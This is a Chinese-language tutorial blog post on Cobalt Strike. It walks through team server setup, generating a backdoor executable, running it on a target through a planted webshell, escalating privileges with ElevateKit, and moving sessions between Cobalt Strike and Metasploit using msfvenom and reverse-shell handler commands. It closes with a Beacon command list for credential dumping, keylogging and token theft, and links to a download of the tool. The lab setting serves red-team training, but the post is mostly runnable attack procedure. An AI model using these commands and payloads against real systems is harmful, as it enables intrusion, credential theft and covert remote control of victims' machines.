一、CS简单介绍
Cobalt Strike是一个为对手模拟和红队行动而设计的平台,主要用于执行有目标的攻击和模拟高级威胁者的后渗透行动。
分为服务器和客户端,方便团队合作。
个人理解:
cs服务器部署在公网控制着受害者主机,而攻击者可以直接访问cs服务器进而控制受害主机,不用再通过端口转发使用msf控制受害主机,简单方便!
二、安装启动教程
环境要求
1、客户端,服务端都需要Java环境
2、服务端必须安装在Linux系统上
示例:
cs服务端:kaili2020
cs客户端:win10
cs服务端安装启动
原版未汉化下载 cs4.0 百度云盘:https://pan.baidu.com/s/1k4GY0IAHzdkd6PysYFxe5w,提取码:rymo
汉化版放在了我的知识星球与我的资源中
下载完cs4.0之后,将文件夹复制到 kali
执行teamserver文件,即可安装启动cs服务端
./teamserver 192.168.184.145(kali的IP) 123(密码随便设)
如下图所示即是成功启动 cs 服务端
cs客户端安装启动
双击cs4.0文件夹中的 cobaltstrike.exe 即可成功启动cs
host:cs服务端地址
port:端口默认不变
user:用户名随便写
Password:123(服务端启动时输入的密码)
之后点击Connect即可
cs客户端成功启动后如下图所示
三、Cobalt Strike 菜单介绍
1、Cobalt Strike
New Connection #新建连接,支持连接多个服务器端
Preferences #设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录
Visualization #主要展示输出结果的视图
VPN Interfaces #设置VPN接口
Listenrs #创建监听器
script Manager #脚本管理,可以通过Aggressorscripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提权脚本等
close #退出连接
2、View
Applications #显示受害主机的应用信息
Credentials #显示所有以获取的受害主机的凭证,如hashdump、Mimikatz
Downloads #查看已下载文件
Event Log # 主机上线记录以及团队协作聊天记录
Keystrokes #查看键盘记录结果
Proxy Pivots #查看代理模块
Screenshots #查看所有屏幕截图
Script Console #加载第三方脚本以增强功能
Targets #显示所有受害主机
Web Log #所有Web服务的日志
3、Attacks
Packages:
HTML Application #生成(executable/VBA/powershell)这三种原理实现的恶意木马文件
MS Office Macro #生成office宏病毒文件
Payload Generator #生成各种语言版本的payload
Windows Executable #生成可执行exe木马
Windows Executable(S) #生成无状态的可执行exe木马
Web Drive-by:
Manage #对开启的web服务进行管理
Clone Site #克隆网站,可以记录受害者提交的数据
Host File #提供文件下载,可以选择Mime类型
Scripted Web Delivery #为payload提供web服务以便下载和执行,类似于Metasploit的web_delivery
Signed Applet Attack #使用java自签名的程序进行钓鱼攻击(该方法已过时)
Smart Applet Attack #动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本(该方法已过时)
System Profiler #用来获取系统信息,如系统版本,Flash版本,浏览器版本等
Spear Phish #鱼叉钓鱼邮件
4、Reporting
Activity Report #活动报告
Hosts Report #主机报告
Indicators of Compromise #IOC报告:包括C2配置文件的流量分析、域名、IP和上传文件的MD5 hashes
Sessions Report #会话报告
Social Engineering Report #社会工程报告:包括鱼叉钓鱼邮件及点击记录
Tactics, Techniques, and Procedures #战术技术及相关程序报告:包括行动对应的每种战术的检测策略和缓解策略
Reset Data #重置数据
Export Data #导出数据,导出.tsv文件格式
5、Help
Homepage #官方主页
Support #技术支持
Arsenal #开发者
System information #版本信息
About #关于
工具栏说明
四、使用教程
使用大致流程
创建团队服务器->客户端连接服务器->创建监听器->生成后门对应监听器->靶机运行后门成功上线->后渗透(提权,内网漫游,域渗透等)
4.1 Cobalt Strike ——Webshell上线CS自动提权
1、创建监听器
如下图所示
之后点击添加
出现下图弹窗则说明监听器设置成功,并且正在监听
2、生成木马
按下图所示生成Windows Executable后门木马
选择已生成好的监听器
勾选X64:目标系统是64位的话需要勾选
将生成的木马保存在电脑中
保存成功后会有如下提示
3、执行木马、反弹会话
**前提条件:**假设已成功植入webshell,并且通过webshell上传了后门木马artifact.exe
靶机: win7 IP:192.168.184.141
使用蚁剑连接webshell
执行artifact.exe后门文件,目标靶机成功上线
点击查看视图的图标,可以看到上线主机的信息为普通用户:zhxxxx
4、提权
CS里面含有自动化的提权
右键选择第一个,进入命令行模式(具体命令可以查看文章最下面的指令大全)
测试执行命令:getuid,稍等一会儿后会显示执行结果
接下来右键选择提权,如下图所示
默认提权的exp就下面这两个,肯定不够,所以得去加载一些提权的插件
常用的插件地址:
https://github.com/DeEpinGh0st/Erebus
https://github.com/rsmudge/ElevateKit
下载其中一个提权插件并保存,本示例下载的是:https://github.com/rsmudge/ElevateKit
如何加载插件?
如下图所示,选择脚本管理器后,会在下面弹窗提示path
之后选择 插件 并点击打开
之后点击 Unload 上传插件
之后再查看提权的EXP,发现增加了很多
接下来利用 uac-schtasks 的 exp进行提权
点击开始之后,可以通过命令看出正在进行攻击测试了,攻击成功的话会上线一个权限为:SYSTEM 的系统,如下图所示,即是成功提权
4.2 Cobalt Strike ——CS与MSF相互联动传递(Empire)
#CS->MSF
cs: spawn XXx
windows/foreign/reverse_http
MSF:
windows/meterpreter/reverse_http
#MSF->CS
MSF:
use exploit/windows/local/payload_inject
windows/meterpreter/reverse_http
CS:
windows/beacon_http/reverse_http
CS->MSF示例
前提: CS控制了靶机
首先启动kali的msf
msfconsole
然后设置一下payload与选项,让kali打开监听,如下图所示,正在监听是由有会话
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.184.145 //kali的地址
set lport 1234
exploit
接下来需要去CS中新建一个监听器
监听器创建成功后会如下图所示
接下来选择需要转移的会话,比如是SYSTEM权限的会话
进入命令行模式
执行命令:
spawn msf
稍等2分钟后,msf能接收到转移来的会话,如下图所示
MSF->CS示例
前提: MSF控制了靶机
MSF生成后门 ceshi.exe,并且将后门 ceshi.exe 放在靶机win7上
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.184.145 lport=2222 -f exe -o ceshi.exe
msf打开监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.184.145 //kali的地址
set lport 2222
exploit
此时在靶机win7上执行一下ceshi.exe
msf成功监听到会话
接下来需要转移会话了
打开cs,创建监听器名字为msf
创建成功后如下图所示
接下来将MSF的会话转移到CS
background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.184.145
set lport 6666
set session 1
exploit
数万命令如下图显示,则说明成功转移会话
接下来查看cs客户端,发现新上线了一台msf监听器监听道德会话
指令大全:
BeaconCommands
===============
Command Description
------- -----------
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peerover TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs Enable system privileges oncurrent token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peerover a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID forspawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn asession on a host
psexec_psh Use PowerShell to spawn asession on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program underanother PID
screenshot 屏幕截图
setenv 设置环境变量
shell cmd执行命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as anotheruser
spawnto Set executable tospawn processes into
spawnu Spawn a session underanother PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink Disconnect from parentBeacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话
argue 进程参数欺骗
更多web安全工具、存在漏洞的网站搭建源码、渗透测试思路,收集整理在知识星球。